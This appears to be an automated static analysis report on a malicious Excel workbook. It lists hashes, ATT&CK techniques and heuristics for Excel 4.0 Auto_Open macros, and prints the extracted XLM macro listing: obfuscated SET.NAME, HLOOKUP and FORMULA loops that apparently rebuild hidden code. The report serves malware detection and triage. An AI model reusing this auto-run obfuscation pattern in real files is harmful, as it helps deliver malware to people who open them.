Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b021467eb8ddb8c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:48 Authoring application: Microsoft Excel First seen: 2021-09-13
MD5: 2d412b8e604d79078ada9724cfe9b10f SHA-1: 801c77c946ed93a9e8f7b191707b5f46a34dbaab SHA-256: 8b021467eb8ddb8c12443aaa8c9c98e09f289572337878f4eaf3562fdb0acd74
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests the macro is designed to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the mechanism points to a macro-based execution of a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6534 bytes
SHA-256: ae175671593037938f87642e9beeb1be8d32fcea4db85173223e91eb5cc1dc92
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BBJSxQCB
' 0018     27 LABEL : Cell Value, String Constant - AHZULtxuBrtL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C166 
' 0018     26 LABEL : Cell Value, String Constant - BALHZptnpUP len=0 
' 0018     21 LABEL : Cell Value, String Constant - CRjcmi len=0 
' 0018     20 LABEL : Cell Value, String Constant - cvQcJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - DAOxFModw len=0 
' 0018     24 LABEL : Cell Value, String Constant - gAXuvQjpe len=0 
' 0018     23 LABEL : Cell Value, String Constant - GqGaMesV len=0 
' 0018     25 LABEL : Cell Value, String Constant - hSPMEyHpLp len=0 
' 0018     23 LABEL : Cell Value, String Constant - iNumsvOE len=0 
' 0018     20 LABEL : Cell Value, String Constant - MQjGE len=0 
' 0018     20 LABEL : Cell Value, String Constant - NjUFV len=0 
' 0018     20 LABEL : Cell Value, String Constant - OrvTZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - qYvuZHzB len=0 
' 0018     24 LABEL : Cell Value, String Constant - srYlJZzTy len=0 
' 0018     27 LABEL : Cell Value, String Constant - uWqBtxSntWzB len=0 
' 0018     21 LABEL : Cell Value, String Constant - VidpBu len=0 
' 0018     21 LABEL : Cell Value, String Constant - VtnvYJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - wXhrygWHuszw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ycgTWxRZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZKVuCEgQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BBJSxQCB,C81,"SET.NAME("srYlJZzTy",VALUE("0"))",""
'  BBJSxQCB,C83,"SET.NAME("uWqBtxSntWzB",srYlJZzTy)",""
'  BBJSxQCB,C86,"SET.NAME("NjUFV",srYlJZzTy)",""
'  BBJSxQCB,C91,"SET.NAME("iNumsvOE",COUNTA(wXhrygWHuszw))",""
'  BBJSxQCB,C94,"SET.NAME("gAXuvQjpe",COUNTA(cvQcJ))",""
'  BBJSxQCB,C97,[],""
'  BBJSxQCB,C101,"SET.NAME("BALHZptnpUP","")",""
'  BBJSxQCB,C104,"uWqBtxSntWzB",""
'  BBJSxQCB,C107,"SET.NAME("GqGaMesV",HLOOKUP("*",wXhrygWHuszw,uWqBtxSntWzB,FALSE))",""
'  BBJSxQCB,C110,"VtnvYJ",""
'  BBJSxQCB,C113,"SET.NAME("qYvuZHzB",srYlJZzTy)",""
'  BBJSxQCB,C116,[],""
'  BBJSxQCB,C121,"qYvuZHzB",""
'  BBJSxQCB,C125,"MQjGE",""
'  BBJSxQCB,C130,"DAOxFModw",""
'  BBJSxQCB,C135,"OrvTZ",""
'  BBJSxQCB,C138,"SET.NAME("ZKVuCEgQ",VALUE(HLOOKUP("*",cvQcJ,OrvTZ,FALSE)))",""
'  BBJSxQCB,C140,"hSPMEyHpLp",""
'  BBJSxQCB,C142,"BALHZptnpUP",""
'  BBJSxQCB,C144,"NjUFV",""
'  BBJSxQCB,C147,NEXT(),""
'  BBJSxQCB,C151,"AHZULtxuBrtL",""
'  BBJSxQCB,C153,"SET.NAME("f",INT(T(FORMULA(T(BALHZptnpUP)&"",""&T(AHZULtxuBrtL)))))",""
'  BBJSxQCB,C155,"VidpBu",""
'  BBJSxQCB,C158,NEXT(),""
'  BBJSxQCB,C161,RETURN(),""
'  BBJSxQCB,C189,"SET.NAME("CRjcmi",C81)",""
'  BBJSxQCB,C194,"wXhrygWHuszw",""
'  BBJSxQCB,C199,"SET.NAME("cvQcJ",R63C13)",""
'  BBJSxQCB,C201,"SET.NAME("VidpBu",207)",""
'  BBJSxQCB,C203,"SET.NAME("ycgTWxRZ",3)",""
'  BBJSxQCB,C206,CRjcmi(),""
'  BBJSxQCB,C207,HALT(),""